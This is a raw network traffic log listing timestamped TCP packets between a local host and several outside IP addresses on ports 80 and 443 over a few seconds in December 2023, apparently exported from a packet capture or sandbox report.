Dec 20, 2023 15:35:06.552228928 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.552752018 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.553433895 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.553479910 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.554781914 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.555341005 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.555397034 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.557960033 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.557972908 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.557985067 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.557996988 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.558010101 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.558012962 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.558049917 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.558079004 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.558119059 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.558149099 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.559165955 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.559200048 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.560210943 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.560225010 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.560261965 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.560352087 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.560364962 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.560405016 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.560508013 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.560523033 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.560556889 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.560863018 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.561007977 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.561045885 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.561136007 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.561151028 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.561250925 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.561425924 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.561439991 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.561482906 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.561575890 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.561589956 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.561625004 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.564244986 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.564505100 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.564543962 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.564991951 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.565006971 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.565018892 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.565045118 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.565265894 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.565313101 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.566034079 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.566179991 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.566220045 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.566540956 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.566555023 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.566567898 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.566603899 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.566813946 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.566854000 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.566999912 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.567013025 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.567024946 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.567032099 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.567044973 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.567105055 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.567133904 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.567172050 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.567332983 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.567347050 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.567359924 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.567383051 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.567550898 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.567584991 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.567742109 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.567759991 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.567828894 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.567900896 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.568084955 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.568099022 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.568128109 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.568267107 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.568312883 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.569499969 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.570856094 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.570868969 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.570913076 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.570992947 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.571038008 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.571182013 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.571194887 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.571234941 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.571373940 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.571388006 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.571398973 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.571433067 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.571521044 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.571532965 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.571557999 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.571588039 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.571623087 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.571780920 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.571794987 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.571835995 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.571975946 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.571990013 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.572002888 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.572027922 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.572156906 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.572191954 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.572335005 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.572348118 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.572385073 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.572669029 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.572820902 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.572859049 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.573790073 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.573803902 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.573816061 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.573842049 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.573928118 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.573940039 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.573951960 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.573973894 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.573997974 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.574112892 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.574126959 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.574162006 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.574261904 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.574327946 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.574377060 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.574465990 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.574537992 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.574580908 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.574670076 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.574683905 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.574728966 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.574738026 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.574898958 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.574934959 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.575025082 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.575100899 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.575114965 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.575148106 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.575375080 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.575388908 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.575401068 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.575417995 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.575444937 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.576152086 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.576450109 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.576463938 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.576491117 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.576628923 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.576642990 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.576666117 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.576816082 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.576828957 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.576853037 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.576999903 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.577013016 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.577038050 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.577183008 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.577217102 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.577373028 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.577518940 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.577533007 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.577558041 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.577694893 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.577709913 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.577732086 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.577888012 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.577902079 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.577914000 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.577925920 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.577961922 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.578059912 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.578073025 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.578116894 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.599838972 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.599855900 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.599931955 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.607496023 CET	443	49745	104.21.63.180	192.168.2.4
Dec 20, 2023 15:35:06.607600927 CET	49745	443	192.168.2.4	104.21.63.180
Dec 20, 2023 15:35:06.607609987 CET	443	49745	104.21.63.180	192.168.2.4
Dec 20, 2023 15:35:06.607660055 CET	49745	443	192.168.2.4	104.21.63.180
Dec 20, 2023 15:35:06.611416101 CET	49745	443	192.168.2.4	104.21.63.180
Dec 20, 2023 15:35:06.611437082 CET	443	49745	104.21.63.180	192.168.2.4
Dec 20, 2023 15:35:06.766103029 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.766251087 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.766264915 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.766315937 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.766392946 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.766437054 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.766541958 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.766555071 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.766599894 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.766680956 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.766695023 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.766737938 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.766832113 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.766844988 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.766899109 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.766918898 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.767187119 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.767201900 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.767246962 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.767347097 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.767389059 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.767728090 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.767901897 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.767950058 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.768104076 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.768119097 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.768157959 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.768273115 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.768285990 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.768321991 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.768450022 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.768464088 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.768506050 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.768629074 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.768642902 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.768656015 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.768685102 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.768825054 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.768838882 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.768862963 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.768965006 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.769005060 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.769186020 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.769201040 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.769241095 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.769370079 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.769522905 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.769537926 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.769568920 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.769674063 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.769685984 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.769697905 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.769714117 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.769743919 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.770004988 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.770019054 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.770062923 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.770148993 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.770162106 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.770200968 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.770296097 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.770309925 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.770347118 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.770509005 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.770523071 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.770559072 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.774435043 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.774589062 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.774633884 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.774739027 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.774944067 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.774982929 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.775135040 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.811604023 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:06.811634064 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:06.811695099 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:06.812417984 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:06.812433004 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:06.818665028 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.888025999 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.888495922 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.059551954 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.059643030 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.059859991 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.080154896 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.080255032 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.131028891 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:07.131206989 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:07.131406069 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:07.160377026 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.160398006 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.160671949 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.160737991 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.161125898 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:07.208739996 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:07.236192942 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.236217976 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.236282110 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.236310005 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.236393929 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.236447096 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.236475945 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.236548901 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.236584902 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.236627102 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.236670017 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.236710072 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.236742020 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.236793995 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.236834049 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.407088041 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.407111883 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.407172918 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.407207012 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.407423973 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.407512903 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.407562971 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.407627106 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.407676935 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.407716990 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.407803059 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.407849073 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.407891035 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.407995939 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.408045053 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.408085108 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.408319950 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.408365011 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.408771038 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.408807993 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.408849955 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.408855915 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.408927917 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.408972979 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.409013987 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.409099102 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.409145117 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.409148932 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.409184933 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.409235954 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.578927994 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.578953028 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.578972101 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.578985929 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.579039097 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.579083920 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.579139948 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.579139948 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.579150915 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.579180956 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.579205990 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.579225063 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:07.579257965 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:07.579274893 CET	80	49748	198.46.178.135	192.168.2.4
